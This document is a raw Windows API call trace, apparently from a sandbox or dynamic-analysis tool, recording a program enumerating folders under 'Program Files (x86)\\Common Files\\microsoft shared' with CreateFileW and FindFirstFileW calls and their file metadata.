	[0054.826] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv\\PublicAssemblies\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.827] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msinfo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.828] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.828] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msinfo\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.828] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo\\en-US\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22894196, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.829] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.829] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a735b0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xb30acfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb30acfc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.831] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.831] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b36970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba7b1bc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba7b1bc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.833] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\cultures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.833] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad3651a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xad3651a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad3651a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.835] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Office Setup Controller" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\office setup controller"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.835] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Office Setup Controller\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7ae59d0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xbe284040, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbe284040, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.838] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\portal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.838] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xadf4bfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xadf4bfa0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.838] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\portal\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.838] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeefe5e10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.839] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.839] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8132bc53, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8132bc53, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.844] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.844] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.847] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\WksConv" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\wksconv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.847] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\WksConv\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6e32460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.848] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\en-US" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.848] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv\\en-US\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.849] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\triedit"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.849] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.849] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\en-US" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\triedit\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.849] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\en-US\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.849] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vba"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.850] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.850] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vba\\vba6"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.850] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.851] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.852] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f61b1a0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xcc379b80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xcc379b80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.852] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\amd64" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vc\\amd64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.852] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VC\\amd64\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3e46d20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xa3e46d20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa3e46d20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.856] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vgx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.856] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.856] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.856] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f4696f0, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.857] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\8.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.857] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52622770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.860] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\8.0\\x86"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.860] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5272d110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.863] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\appinfodocument"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.863] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5707cc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5707cc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.864] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\appinfodocument\\microsoft.visualstudio.tools.office.appinfodocument"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.864] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.864] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.864] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20323f10, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x69acfbd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69acfbd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.865] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\addinsideadapters"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.865] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd3478ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3478ee0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.868] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\addinviews"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
